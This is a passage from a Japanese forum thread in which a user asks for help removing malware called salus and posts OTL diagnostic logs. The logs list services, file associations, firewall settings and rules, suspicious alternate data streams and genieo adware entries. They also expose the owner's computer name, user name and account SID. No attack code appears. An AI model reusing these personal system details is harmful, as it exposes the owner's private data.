SRV:[b]64bit:[/b] - [2014/07/07 11:06:31 | 000,187,904 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\cryptsvc.dll -- (CryptSvc)
SRV - [2014/07/07 10:40:07 | 000,143,872 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\cryptsvc.dll -- (CryptSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,512,000 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\rpcss.dll -- (DcomLaunch)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:04 | 000,317,952 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\dhcpcore.dll -- (Dhcp)
SRV - [2010/11/20 21:18:30 | 000,254,464 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\dhcpcore.dll -- (Dhcp)
SRV:[b]64bit:[/b] - [2011/03/03 15:24:16 | 000,183,296 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\dnsrslvr.dll -- (Dnscache)
SRV:[b]64bit:[/b] - [2009/07/14 10:40:35 | 000,111,104 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\eapsvc.dll -- (EapHost)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:00 | 000,038,912 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\hidserv.dll -- (hidserv)
SRV - [2009/07/14 10:15:24 | 000,049,152 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\hidserv.dll -- (hidserv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:10 | 000,359,424 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\ipnathlp.dll -- (SharedAccess)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:39 | 000,501,248 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\IPSECSVC.DLL -- (PolicyAgent)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,023,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV:[b]64bit:[/b] - [2015/01/30 03:15:10 | 000,366,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Program Files\Microsoft Security Client\NisSrv.exe -- (NisSrv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:54 | 000,524,288 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\swprv.dll -- (swprv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:26 | 000,067,584 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\SysNative\mmcss.dll -- (MMCSS)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:52 | 000,360,448 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netman.dll -- (Netman)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:52 | 000,459,776 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\netprofm.dll -- (netprofm)
SRV - [2009/07/14 10:16:03 | 000,360,448 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\netprofm.dll -- (netprofm)
SRV:[b]64bit:[/b] - [2014/12/06 13:17:27 | 000,303,616 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\nlasvc.dll -- (NlaSvc)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:53 | 000,025,600 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\nsisvc.dll -- (nsi)
SRV:[b]64bit:[/b] - [2011/05/24 20:42:55 | 000,404,480 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\umpnpmgr.dll -- (PlugPlay)
SRV:[b]64bit:[/b] - [2012/02/11 15:36:02 | 000,559,104 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\spoolsv.exe -- (Spooler)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\lsass.exe -- (ProtectedStorage)
No service found with a name of EMDMgmt
SRV:[b]64bit:[/b] - [2009/07/14 10:41:53 | 000,099,328 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\rasauto.dll -- (RasAuto)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,344,064 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\rasmans.dll -- (RasMan)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:24 | 000,512,000 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\rpcss.dll -- (RpcSs)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,030,720 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\seclogon.dll -- (seclogon)
SRV:[b]64bit:[/b] - [2015/01/15 17:09:15 | 000,031,232 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\lsass.exe -- (SamSs)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:58 | 000,097,280 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wscsvc.dll -- (wscsvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:26 | 000,236,032 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\srvsvc.dll -- (LanmanServer)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,370,688 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\shsvcs.dll -- (ShellHWDetection)
SRV - [2010/11/20 21:21:19 | 000,328,192 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysWOW64\shsvcs.dll -- (ShellHWDetection)
No service found with a name of slsvc
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 001,110,016 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\schedsvc.dll -- (Schedule)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:26 | 000,316,928 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\tapisrv.dll -- (TapiSrv)
SRV - [2010/11/20 21:21:28 | 000,242,176 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysWOW64\tapisrv.dll -- (TapiSrv)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:55 | 000,044,544 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\themeservice.dll -- (Themes)
SRV:[b]64bit:[/b] - [2014/12/19 12:06:55 | 000,210,432 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\profsvc.dll -- (ProfSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:25:27 | 001,600,512 | ---- | M] (Microsoft Corporation) [On_Demand | Running] -- C:\Windows\SysNative\VSSVC.exe -- (VSS)
SRV:[b]64bit:[/b] - [2014/10/03 11:11:51 | 000,680,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\audiosrv.dll -- (AudioSrv)
SRV:[b]64bit:[/b] - [2014/10/03 11:11:51 | 000,680,960 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\audiosrv.dll -- (AudioEndpointBuilder)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:25 | 000,170,496 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\sdrsvc.dll -- (SDRSVC)
SRV:[b]64bit:[/b] - [2013/05/27 14:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 001,646,080 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wevtsvc.dll -- (eventlog)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:59 | 000,828,416 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\MPSSVC.dll -- (MpsSvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 000,580,096 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wiaservc.dll -- (stisvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:24:58 | 000,128,000 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\msiexec.exe -- (msiserver)
SRV - [2010/11/20 21:17:22 | 000,073,216 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysWow64\msiexec.exe -- (msiserver)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:56 | 000,242,688 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wbem\WMIsvc.dll -- (Winmgmt)
SRV:[b]64bit:[/b] - [2014/05/15 01:23:46 | 002,477,536 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wuaueng.dll -- (wuauserv)
SRV:[b]64bit:[/b] - [2010/11/20 22:26:07 | 000,252,416 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\dot3svc.dll -- (dot3svc)
SRV:[b]64bit:[/b] - [2009/07/14 10:41:56 | 000,886,784 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\wlansvc.dll -- (Wlansvc)
SRV:[b]64bit:[/b] - [2010/11/20 22:27:28 | 000,118,784 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Windows\SysNative\wkssvc.dll -- (LanmanWorkstation)

[color=#A23BEC]< %SYSTEMDRIVE%\*.exe >[/color]

[color=#E56717]========== Alternate Data Streams ==========[/color]

@Alternate Data Stream - 994 bytes -> C:\ProgramData\Microsoft:2WMJDiXyuvI5QFSLMGGjcu
@Alternate Data Stream - 118 bytes -> C:\ProgramData\Temp:56E2E879
@Alternate Data Stream - 1144 bytes -> C:\ProgramData\Microsoft:whaoOOuMK6MQvl6Wd9L1Sym4G

< End of report >
  • mari
  • 2015/03/29 (Sun) 09:42:16
Re: salusの駆除をお助けください
以上です。
宜しくお願い致します!!
  • mari
  • 2015/03/29 (Sun) 09:42:52
Re: salusの駆除をお助けください
以下、Extras.txtです。

OTL Extras logfile created on: 2015/03/29 9:29:48 - Run 1
OTL by OldTimer - Version 3.2.69.0 Folder = C:\Users\Tomohiko\Downloads
64bit- Ultimate Edition Service Pack 1 (Version = 6.1.7601) - Type = NTWorkstation
Internet Explorer (Version = 9.11.9600.17633)
Locale: 00000411 | Country: 日本 | Language: JPN | Date Format: yyyy/MM/dd

5.95 Gb Total Physical Memory | 3.57 Gb Available Physical Memory | 60.01% Memory free
11.90 Gb Paging File | 9.14 Gb Available in Paging File | 76.79% Paging File free
Paging file location(s): ?:\pagefile.sys [binary data]

%SystemDrive% = C: | %SystemRoot% = C:\Windows | %ProgramFiles% = C:\Program Files (x86)
Drive C: | 113.20 Gb Total Space | 41.46 Gb Free Space | 36.63% Space Free | Partition Type: NTFS
Drive D: | 442.50 Gb Total Space | 370.52 Gb Free Space | 83.74% Space Free | Partition Type: NTFS
Drive E: | 465.76 Gb Total Space | 27.45 Gb Free Space | 5.89% Space Free | Partition Type: NTFS
Drive H: | 931.28 Gb Total Space | 0.80 Gb Free Space | 0.09% Space Free | Partition Type: FAT32

Computer Name: TOMOHIKO-PC | User Name: Tomohiko | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: All users | Include 64bit Scans
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days

[color=#E56717]========== Extra Registry (SafeList) ==========[/color]


[color=#E56717]========== File Associations ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.html[@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)
.url[@ = InternetShortcut] -- C:\Windows\SysNative\rundll32.exe (Microsoft Corporation)

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<extension>]
.cpl [@ = cplfile] -- C:\Windows\SysWow64\control.exe (Microsoft Corporation)
.html [@ = htmlfile] -- C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation)

[HKEY_USERS\S-1-5-21-557484673-2621240714-2065044319-1000\SOFTWARE\Classes\<extension>]
.html [@ = ChromeHTML] -- Reg Error: Key error. File not found

[color=#E56717]========== Shell Spawning ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" %1 (Microsoft Corporation)
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" /p %1 (Microsoft Corporation)
http [open] -- Reg Error: Value error.
https [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
InternetShortcut [open] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL %l (Microsoft Corporation)
InternetShortcut [print] -- "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\mshtml.dll",PrintHTML "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
Directory [Bridge] -- D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- "C:\Program Files\Internet Explorer\iexplore.exe" (Microsoft Corporation)

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\<key>\shell\[command]\command]
batfile [open] -- "%1" %*
cmdfile [open] -- "%1" %*
comfile [open] -- "%1" %*
cplfile [cplopen] -- %SystemRoot%\System32\control.exe "%1",%* (Microsoft Corporation)
exefile [open] -- "%1" %*
helpfile [open] -- Reg Error: Key error.
htmlfile [edit] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" %1 (Microsoft Corporation)
htmlfile [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [opennew] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
htmlfile [print] -- "D:\Program Files (x86)\Microsoft Office\Office14\msohtmed.exe" /p %1 (Microsoft Corporation)
http [open] -- Reg Error: Value error.
https [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
inffile [install] -- %SystemRoot%\System32\InfDefaultInstall.exe "%1" (Microsoft Corporation)
piffile [open] -- "%1" %*
regfile [merge] -- Reg Error: Key error.
scrfile [config] -- "%1"
scrfile [install] -- rundll32.exe desk.cpl,InstallScreenSaver %l
scrfile [open] -- "%1" /S
txtfile [edit] -- Reg Error: Key error.
Unknown [openas] -- %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,OpenAs_RunDLL %1
Directory [Bridge] -- D:\Program Files\Adobe\Adobe Bridge CS6 (64 Bit)\Bridge.exe "%L" (Adobe Systems, Inc.)
Directory [cmd] -- cmd.exe /s /k pushd "%V" (Microsoft Corporation)
Directory [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [open] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Folder [explore] -- Reg Error: Value error.
Drive [find] -- %SystemRoot%\Explorer.exe (Microsoft Corporation)
Applications\iexplore.exe [open] -- "C:\Program Files\Internet Explorer\iexplore.exe" %1 (Microsoft Corporation)
CLSID\{871C5380-42A0-1069-A2EA-08002B30309D} [OpenHomePage] -- Reg Error: Value error.

[color=#E56717]========== Security Center Settings ==========[/color]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]
"cval" = 1

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Monitoring]

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]
"VistaSp1" = 28 4D B2 76 41 04 CA 01 [binary data]
"AntiVirusOverride" = 0
"AntiSpywareOverride" = 0
"FirewallOverride" = 0

[b]64bit:[/b] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc\Vol]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center\Svc]

[color=#E56717]========== Firewall Settings ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile]
"DisableNotifications" = 0
"EnableFirewall" = 1

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = 0
"EnableFirewall" = 0

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile]
"DisableNotifications" = 0
"EnableFirewall" = 0

[color=#E56717]========== Authorized Applications List ==========[/color]


[color=#E56717]========== Vista Active Open Ports Exception List ==========[/color]

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules]
"{00386417-B838-4F6E-BE32-F0192EDD79E3}" = lport=1900 | protocol=17 | dir=in | name=windows live communications platform (ssdp) |
"{00C303EB-0636-4AD1-AA68-D52D3CD24EDA}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{0C4F599C-63BA-4A64-BF23-8C1BBD8D5B63}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{0D9182EC-AB92-4B41-ADC7-B85076CA1819}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{10FCCF4F-617B-4B81-A368-43A85F550962}" = lport=5353 | protocol=17 | dir=in | app=c:\program files (x86)\google\chrome\application\chrome.exe |
"{18DEC534-5DB8-4C62-AECB-830D473311C1}" = lport=rpc-epmap | protocol=6 | dir=in | svc=rpcss | name=@firewallapi.dll,-28539 |
"{1A509E6B-EAD3-4AE0-8026-3B0BB8484762}" = lport=10243 | protocol=6 | dir=in | app=system |
"{1F85F1AB-E8B7-4030-8DB1-3E6300B7CAED}" = rport=2177 | protocol=17 | dir=out | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{1FC473EA-4EBF-4995-8F54-22A016E71049}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{2028F261-DCF9-4D5E-94D0-0F5E9345A3B0}" = rport=138 | protocol=17 | dir=out | app=system |
"{26ED0962-51B7-4F3C-8BC5-B7048C2DB099}" = lport=1900 | protocol=17 | dir=in | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{29C5AAA7-D07E-4EA8-A5FD-852BBAA5EADC}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{2AA3830C-8CC1-4D49-ACCC-2D40B785D8E8}" = lport=2869 | protocol=6 | dir=in | name=windows live communications platform (upnp) |
"{2B487983-709D-42BD-A528-FE7B5454E734}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{2D6093BA-9963-4D8C-8620-45F652C5FDE5}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{3034886D-A7CE-4FC5-9F38-EE62188DE164}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{33B6E143-2716-4AC4-AE73-7F14BE9EA681}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{376D16A4-C34B-4A15-829E-F35FB1FF8BED}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{37D73A64-5DD5-4E62-B899-09F61D29390A}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{3FAEDD2B-4AD9-497A-A884-BF9E7EF04DAB}" = lport=2177 | protocol=6 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{42741ED3-6EF4-4340-81F7-9DCAA1B15DDF}" = lport=rpc | protocol=6 | dir=in | svc=spooler | app=%systemroot%\system32\spoolsv.exe |
"{44053F39-E054-48D8-81EA-97C51B113FD9}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{48129537-13A7-498A-B2F4-D73257B85BD4}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{497C1DE0-5A77-473C-A5A5-0DC4B17C1204}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{4CB89A60-76E1-4BE0-8679-45118578572B}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{4CBABA78-E46C-4209-AA4F-C9C3CCCEE1BB}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{4F1A7ECB-E60F-42DE-84E5-6234FF08CC9A}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{4F3B1CED-B0D3-47C7-BCB1-C86EA5663919}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{51D2D78F-0B5C-4B29-ADBB-463053DCA499}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{56E3EC2E-B201-468D-BAC9-9363690FD541}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{5810B123-AD41-4B95-919D-AD29D3AA9421}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{582DEEA2-09A0-49B7-A3C1-A4065556EC76}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{5A7D7055-FDA5-4520-BC4D-577764B6A795}" = lport=138 | protocol=17 | dir=in | app=system |
"{5F23A270-DBEF-4657-84CF-DE10B9388A7D}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{64C5230C-1B65-483D-A709-EC9F8CA5201C}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{660747D8-DD8A-49F2-A49A-DC453A060FAF}" = lport=445 | protocol=6 | dir=in | app=system |
"{677D4283-E78D-45AE-A4F4-00F512970100}" = rport=5355 | protocol=17 | dir=out | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{6A080429-BB61-4BD8-8619-45F32B82C60E}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{6DDE3530-4F81-4120-9AA6-06F2622E4BE7}" = lport=2177 | protocol=17 | dir=in | svc=qwave | app=%systemroot%\system32\svchost.exe |
"{7B3D864F-9F3D-4744-A0C8-7E93B9650F1B}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{7E21E453-E650-4243-B398-78FE529A52F5}" = rport=1900 | protocol=17 | dir=out | svc=ssdpsrv | app=%systemroot%\system32\svchost.exe |
"{86BF83C6-D037-40E8-B89C-D6DE32F5462E}" = lport=1886 | protocol=6 | dir=in | name=genieo |
"{8F27AFFA-2AFF-48EC-ADE7-BE1928DA5727}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{8FB27BEB-210E-46AA-858E-6029A8869A8F}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{900D15AB-C841-4BF7-9E5E-EA4B242E1F46}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{959487F0-2D1A-4E9A-8D46-5CA37AB92165}" = rport=10243 | protocol=6 | dir=out | app=system |
"{96550651-86F2-489E-B5A9-651E72C23D2D}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{98F5A4CD-AE8F-4DCC-B498-1595DA888D95}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{996F3F57-0D2E-47C7-A626-7680D5FE2A33}" = lport=5355 | protocol=17 | dir=in | svc=dnscache | app=%systemroot%\system32\svchost.exe |
"{9CD4D823-4F54-46D2-A94D-662BF0B8AE92}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{9CDD1225-F473-4886-945F-65C587688A21}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{9FF77FD3-31C1-4401-84E0-E52EE6EF96AB}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{A1A5CD28-1BF6-4ECC-B635-8673010A7AED}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{A4BD07EB-69AF-4D88-B700-6E9276149DA1}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{A7DF5168-A3E1-4136-A63A-96A77C1789CD}" = lport=5353 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{B2D1E2A1-F3C1-43E9-AD9F-DE1F9E10FFB4}" = lport=443 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{B9B784BA-8245-4E13-B287-3B24ACA085D2}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{BE20B540-F569-4353-9568-F0209373DE02}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{C025C632-4A96-4985-A2CF-F39BA5BAB72A}" = lport=2869 | protocol=6 | dir=in | app=system |
"{C3259741-C38A-46A1-A950-3BAB54519DC3}" = lport=47991 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{C748AD85-F259-45F3-93B4-F37CC89E3EB2}" = lport=1886 | protocol=6 | dir=in | name=genieo |
"{CD92D091-D1F3-462C-BFFA-7B5B827255D6}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{D09E194B-CCAE-45C5-A65C-B2BA738BA3D3}" = lport=47987 | protocol=6 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamsvc.exe |
"{D29C7E7A-590D-4C04-A3DE-89134B18B6E5}" = lport=139 | protocol=6 | dir=in | app=system |
"{D6F4E2C2-6CFC-43B5-8944-00706740F623}" = lport=80 | protocol=6 | dir=in | app=c:\program files (x86)\nvidia corporation\netservice\nvnetworkservice.exe |
"{D7801A3C-2BC5-4C05-A89A-F5DA9927C137}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
"{DDC76339-8680-4C02-B661-69C8F52F734C}" = lport=48000 | protocol=17 | dir=in | app=c:\program files\nvidia corporation\nvstreamsrv\nvstreamer.exe |
